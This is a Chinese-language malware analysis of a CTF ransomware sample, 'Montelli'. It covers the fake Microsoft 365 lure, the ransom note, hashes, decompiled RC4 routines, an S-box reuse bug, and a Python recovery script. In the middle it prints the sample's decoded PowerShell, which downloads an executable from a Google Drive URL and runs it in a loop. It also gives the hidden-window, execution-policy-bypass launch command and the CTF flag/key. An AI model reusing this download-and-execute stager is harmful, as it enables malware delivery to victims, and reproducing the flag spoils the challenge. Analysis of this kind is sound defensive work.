【病毒分析】伪造微软官网+勒索加密+支付威胁，CTF中勒索病毒解密题目真实还原！

1.背景

该CTF挑战题目完整复现了黑客的攻击链路，攻击者通过伪造钓鱼页面引导受害者下载恶意软件。用户访问伪造的 Microsoft 365 官网后，在点击“Windows Installer (64-bit)”下载选项时，页面会自动跳转至伪造的 GitHub 项目链接，并下载加密器的恶意程序。

伪造Microsoft 365官网

受害者双击运行该程序后，勒索软件会访问远程服务器加载定制的hacked.png图片并当作壁纸，通过调用api遍历文件，判断文件后缀是否为.Montelli，加密完文件后创建一个被加了勒索后缀的文件，从而完成攻击链闭环。（目前该服务器已关停，无法访问该图片）

远程服务器：https://raw.githubusercontent.com/R4ven1elia/something/refs/heads/main/hacked.png

定制图片

在所有文件被添加.Montelli后缀后，会弹出的勒索提示信息告知受害者支付1337美元到黑客提供的Pi网络钱包地址。

翻译：

噢,不!你的文件被劫持了！

亲爱的极其不幸的电脑用户，

我们很遗憾地通知你，你珍贵的文件被现存最复杂、训练有素、极其懒惰的勒索软件绑架了。但是不要害怕！你可以找回他们！

如何恢复它们？

不要害怕，我亲爱的用户，

你可以简单地在Pi网络中支付我们1337美元，我们已经为你提供了我们Pi网络钱包的地址，只要转账给我们1337，我们会给你发送你的解密密钥

发送1337$到此Pl网络地址，否则您的所有数据将被删除！！

2.恶意文件基础信息

2.1 加密器基本信息

文件名	office64
编译器	Microsoft Visual C/C++(19.36.34435)[LTCG/C++]
大小	300 KB
操作系统	Windows(Vista)[AMD64, 64位, Console]
架构	386
模式	64 位
类型	EXEC
字节序	LE
MD5	b7da7b88697e543da7c734ff276b5fe2
SHA1	0f9429137d002162c3cf00df80ff352333a715da
SHA256	09faaeeb52d5c0bdba222478e9787a5232bb88003ea42282bd7edc855a320de3

3.加密后文件分析

3.1威胁分析

病毒家族	Montelli
首次出现时间/捕获分析时间	2025/02/28 \|\| 2025/03/7
威胁类型	勒索软件，加密病毒
加密文件扩展名	.Montelli
感染症状	无法打开存储在计算机上的文件，以前功能的文件现在具有不同的扩展名（例如，solar.docx.Montelli）。桌面上会显示一条勒索要求消息。网络犯罪分子要求支付赎金（通常以比特币）来解锁您的文件。
感染方式	受感染的电子邮件附件（宏）、恶意广告、漏洞利用、恶意链接
受灾影响	所有文件都经过加密，如果不支付赎金就无法打开。其他密码窃取木马和恶意软件感染可以与勒索软件感染一起安装。

3.2 加密的测试文件

文件名

具体内容：

加密文件名特征：

加密文件名 = 原始文件名+Montelli，例如：sierting.txt.Montelli

加密算法：

文件加密使用rc4算法，密钥嵌入加密器中。

rc4密钥生成

KEY

FLAG{s1mpl3_3nCrYpt1on_

程序执行流程：

4.逆向分析

4.1加密器逆向分析

4.1.1RC4_KSA函数

根据rc4密钥初始化s数组

__int64 __fastcall sub_140002E70(unsigned __int64 a1, _QWORD *a2)
{
  char *v3; // rbp
  __int64 n256; // rsi
  __int64 v6; // rdx
  unsigned __int64 n0x100; // rcx
  char *v8; // rax
  unsigned __int64 v9; // rbx
  __int64 v10; // rdx
  __m128i si128; // xmm3
  int n256_1; // ecx
  __int64 v13; // rdx
  __m128 v14; // xmm2
  unsigned int n8; // ecx
  __int64 n8_1; // r8
  unsigned int v17; // eax
  __m128i v18; // xmm0
  __m128i v19; // xmm1
  __m128i v20; // xmm0
  __m128i v21; // xmm1
  __m128i v22; // xmm0
  __m128i v23; // xmm0
  __m128i v24; // xmm0
  __m128i v25; // xmm1
  __m128i v26; // xmm1
  __int64 v27; // r8
  unsigned __int64 v28; // r9
  _QWORD *v29; // rcx
  __int64 v30; // r10
  int v31; // eax
  char v32; // cl
  __int64 v33; // rdx
  __int64 result; // rax

  v3 = *(char **)(a1 + 8);
  n256 = 256LL;
  v6 = *(_QWORD *)a1;
  n0x100 = (unsigned __int64)&v3[-*(_QWORD *)a1];
  if ( n0x100 <= 0x100 )
  {
    if ( n0x100 >= 0x100 )
      goto LABEL_8;
    if ( (unsigned __int64)(*(_QWORD *)(a1 + 16) - v6) < 0x100 )
    {
      sub_140008E60(a1);
      goto LABEL_8;
    }
    v9 = 256 - n0x100;
    memset(v3, 0, 256 - n0x100);
    v8 = &v3[v9];
  }
  else
  {
    v8 = (char *)(v6 + 256);
  }
  *(_QWORD *)(a1 + 8) = v8;
LABEL_8:
  v10 = *(_QWORD *)a1;
  si128 = _mm_load_si128((const __m128i *)&xmmword_14000D850);
  n256_1 = 0;
  if ( *(_QWORD *)a1 > a1 || *(_QWORD *)a1 + 255LL < a1 )
  {
    v14 = (__m128)_mm_load_si128((const __m128i *)&xmmword_14000D860);
    n8 = 8;
    n8_1 = 8LL;
    do
    {
      n8_1 += 16LL;
      v17 = n8 + 4;
      v18 = (__m128i)_mm_and_ps((__m128)_mm_add_epi32(_mm_shuffle_epi32(_mm_cvtsi32_si128(n8 - 8), 0), si128), v14);
      v19 = (__m128i)_mm_and_ps((__m128)_mm_add_epi32(_mm_shuffle_epi32(_mm_cvtsi32_si128(n8 - 4), 0), si128), v14);
      v20 = _mm_packus_epi16(v18, v18);
      v21 = _mm_packus_epi16(v19, v19);
      *(_DWORD *)(v10 + n8_1 - 24) = _mm_cvtsi128_si32(_mm_packus_epi16(v20, v20));
      *(_DWORD *)(v10 + n8_1 - 20) = _mm_cvtsi128_si32(_mm_packus_epi16(v21, v21));
      v22 = _mm_cvtsi32_si128(n8);
      n8 += 16;
      v23 = (__m128i)_mm_and_ps((__m128)_mm_add_epi32(_mm_shuffle_epi32(v22, 0), si128), v14);
      v24 = _mm_packus_epi16(v23, v23);
      v25 = (__m128i)_mm_and_ps((__m128)_mm_add_epi32(_mm_shuffle_epi32(_mm_cvtsi32_si128(v17), 0), si128), v14);
      *(_DWORD *)(n8_1 + v10 - 16) = _mm_cvtsi128_si32(_mm_packus_epi16(v24, v24));
      v26 = _mm_packus_epi16(v25, v25);
      *(_DWORD *)(v10 + n8_1 - 12) = _mm_cvtsi128_si32(_mm_packus_epi16(v26, v26));
    }
    while ( (int)(n8 - 8) < 256 );
  }
  else
  {
    v13 = 0LL;
    do
      *(_BYTE *)(++v13 + *(_QWORD *)a1 - 1) = n256_1++;
    while ( n256_1 < 256 );
  }
  *(_DWORD *)(a1 + 28) = 0;
  v27 = 0LL;
  v28 = 0LL;
  do
  {
    v29 = a2;
    if ( a2[3] > 0xFuLL )
      v29 = (_QWORD *)*a2;
    v30 = *(_QWORD *)a1;
    v31 = (*(_DWORD *)(a1 + 28) + *(unsigned __int8 *)(*(_QWORD *)a1 + v27) + *((unsigned __int8 *)v29 + v28 % a2[2]))
        % 256;
    *(_DWORD *)(a1 + 28) = v31;
    ++v28;
    v32 = *(_BYTE *)(v30 + v27);
    v33 = v31;
    result = *(unsigned __int8 *)(v31 + v30);
    *(_BYTE *)(v30 + v27++) = result;
    *(_BYTE *)(v33 + v30) = v32;
    --n256;
  }
  while ( n256 );
  *(_QWORD *)(a1 + 24) = 0LL;
  return result;
}

4.1.2RC4加密函数

根据输入的s数组对输入的数据进行加密，由于加密完成后未对S盒进行重置操作，因此会导致如下问题

加密存在BUG

在创建多线程的部分，该勒索的所有多线程仅仅只处理了一次RC4的SBOX初始化部分，加密完毕后并未针对RC4的SBOX再次初始化，所以就导致了RC4加密后，SBOX的值发生改变，所以会影响后续加密。

// Hidden C++ exception states: #wind=3
_QWORD *__fastcall sub_140003060(__int64 *a1, _QWORD *a2, char *a3)
{
  char *v3; // r14
  unsigned __int64 n0xF; // rax
  char *v7; // rdi
  char *v8; // rcx
  char *v9; // rbp
  char v10; // r9
  int v11; // eax
  __int64 v12; // rdx
  unsigned __int8 *v13; // r8
  int v14; // eax
  unsigned __int8 *v15; // rdx
  unsigned __int8 v16; // cl
  char v17; // r9
  unsigned __int64 n0xF_2; // rcx
  unsigned __int64 n0xF_1; // rdx
  _QWORD *v20; // rax

  v3 = a3;
  *(_OWORD *)a2 = 0LL;
  a2[2] = 0LL;
  a2[3] = 15LL;
  *(_BYTE *)a2 = 0;
  n0xF = *((_QWORD *)a3 + 2);
  if ( n0xF > 0xF )
  {
    sub_140007F10(a2);
    a2[2] = 0LL;
    n0xF = *((_QWORD *)v3 + 2);
  }
  if ( *((_QWORD *)v3 + 3) <= 0xFuLL )
  {
    v7 = v3;
    v8 = v3;
  }
  else
  {
    v7 = *(char **)v3;
    v8 = *(char **)v3;
    v3 = *(char **)v3;
  }
  v9 = &v8[n0xF];
  if ( v3 != &v8[n0xF] )
  {
    do
    {
      v10 = *v7;
      v11 = (*((_DWORD *)a1 + 6) + 1) % 256;
      *((_DWORD *)a1 + 6) = v11;
      v12 = *a1;
      v13 = (unsigned __int8 *)(*a1 + v11);
      v14 = (*((_DWORD *)a1 + 7) + *v13) % 256;
      *((_DWORD *)a1 + 7) = v14;
      v15 = (unsigned __int8 *)(v14 + v12);
      v16 = *v13;
      *v13 = *v15;
      *v15 = v16;
      v17 = *(_BYTE *)((unsigned __int8)(*(_BYTE *)(*((int *)a1 + 6) + *a1) + *(_BYTE *)(*((int *)a1 + 7) + *a1)) + *a1) ^ v10;
      n0xF_2 = a2[2];
      n0xF_1 = a2[3];
      if ( n0xF_2 >= n0xF_1 )
      {
        sub_140008190(a2, n0xF_1, *a1, v17);
      }
      else
      {
        a2[2] = n0xF_2 + 1;
        v20 = a2;
        if ( n0xF_1 > 0xF )
          v20 = (_QWORD *)*a2;
        *((_BYTE *)v20 + n0xF_2) = v17;
        *((_BYTE *)v20 + n0xF_2 + 1) = 0;
      }
      ++v7;
    }
    while ( v7 != v9 );
  }
  return a2;
}

4.1.3壁纸替换函数

将自带的字符串解码后并执行

解码后结果如下，该代码的作用是在远程加载一个图片并当作壁纸

$imageUrl = "https://raw.githubusercontent.com/R4ven1elia/something/refs/heads/main/hacked.png"
\r\n
$desktopPath = [Environment]::GetFolderPath("Desktop")
\r\n
$outputFile = Join-Path -Path $desktopPath -ChildPath "hacked.png"
\r\n
Invoke-WebRequest -Uri $imageUrl -OutFile $outputFile
\r\n
Add-Type -TypeDefinition @"
\r\n
using System;
\r\n
using System.Runtime.InteropServices;
\r\n
public class Wallpaper {
\r\n
[DllImport("user32.dll", CharSet = CharSet.Auto)]
\r\n    
public static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
\r\n    
public const int SPI_SETDESKWALLPAPER = 0x0014;
\r\n    
public const int SPIF_UPDATEINIFILE = 0x01;
\r\n    
public const int SPIF_SENDCHANGE = 0x02;
\r\n
}
\r\n
"@
\r\n\r\n
[Wallpaper]::SystemParametersInfo([Wallpaper]::SPI_SETDESKWALLPAPER, 0, $outputFile, [Wallpaper]::SPIF_UPDATEINIFILE -bor [Wallpaper]::SPIF_SENDCHANGE)
\r\n\r\n
$executeURL = "https://drive.usercontent.google.com/download?id=15SxZaEWsqN64G-dGDWi5C31f94CpuuZc&export=download&confirm=t&uuid=b75378f6-8f6c-4166-a88d-75319d1472fa"
\r\n
$tempFilePath = "$env:TEMP\\run.exe"
\r\n
if (-Not (Test-Path $tempFilePath)) {
\r\n    
Invoke-WebRequest -Uri $executeURL -OutFile $tempFilePath
\r\n}
\r\n
\r\n
while ($true) {
\r\n    
# Start the process
\r\n    
$process = Start-Process -FilePath $tempFilePath -PassThru
\r\n    
\r\n    
# Wait for the process to exit
\r\n    
$process.WaitForExit()
\r\n    
\r\n    
# Optional delay before restarting
\r\n    
Start-Sleep -Seconds 0
\r\n}

将这个写入C:\\Users\\username\\dosomething.ps1

并执行如下poweshell指令，隐藏窗口执行上面的替换壁纸的代码

powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\\Users\\username\\dosomething.ps1

4.1.4文件遍历

调用api遍历文件

判断后缀是否为.Montelli

加密完文件后创建一个被加了勒索后缀的文件，然后写入加密内容

删除原文件

4.1.5多线程启动加密

使用多线程异步执行加密

5.恢复脚本制作

恢复思路如下：调用rc4算法使用密钥FLAG{s1mpl3_3nCrYpt1on_对加密文件解密。

但是由于该加密器加密存在bug：在创建多线程的部分，该勒索的所有多线程仅仅只处理了一次RC4的SBOX初始化部分，加密完毕后并未针对RC4的SBOX再次初始化，所以就导致了RC4加密后，SBOX的值发生改变，所以会影响后续加密。因此使用密钥解密只能解密出少数几个文件，恢复代码如下

class RC4:
    def __init__(self, key):
        """初始化 RC4 状态"""
        self.S = list(range(256))  # 初始化 S 数组
        j = 0
        # 密钥调度算法 (KSA)
        for i in range(256):
            j = (j + self.S[i] + ord(key[i % len(key)])) % 256
            self.S[i], self.S[j] = self.S[j], self.S[i]  # 交换 S[i] 和 S[j]

    def decrypt(self, ciphertext):
        """解密函数"""
        i = j = 0
        plaintext = []
        # 伪随机生成算法 (PRGA)
        for byte in ciphertext:
            i = (i + 1) % 256
            j = (j + self.S[i]) % 256
            self.S[i], self.S[j] = self.S[j], self.S[i]  # 交换 S[i] 和 S[j]
            k = self.S[(self.S[i] + self.S[j]) % 256]
            plaintext.append(byte ^ k)  # 异或操作
        return bytes(plaintext)


def rc4_decrypt_file(input_file, output_file, key):
    """解密文件"""
    # 读取加密文件
    with open(input_file, "rb") as f:
        ciphertext = f.read()

    # 初始化 RC4
    rc4 = RC4(key)

    # 解密数据
    plaintext = rc4.decrypt(ciphertext)

    # 写入解密后的文件
    with open(output_file, "wb") as f:
        f.write(plaintext)


# 示例用法
key = "FLAG{s1mpl3_3nCrYpt1on_"
input_file = ""  # 加密文件路径
output_file = ""  # 解密文件路径
rc4_decrypt_file(input_file, output_file, key)
print(f"文件已解密，保存到 {output_file}")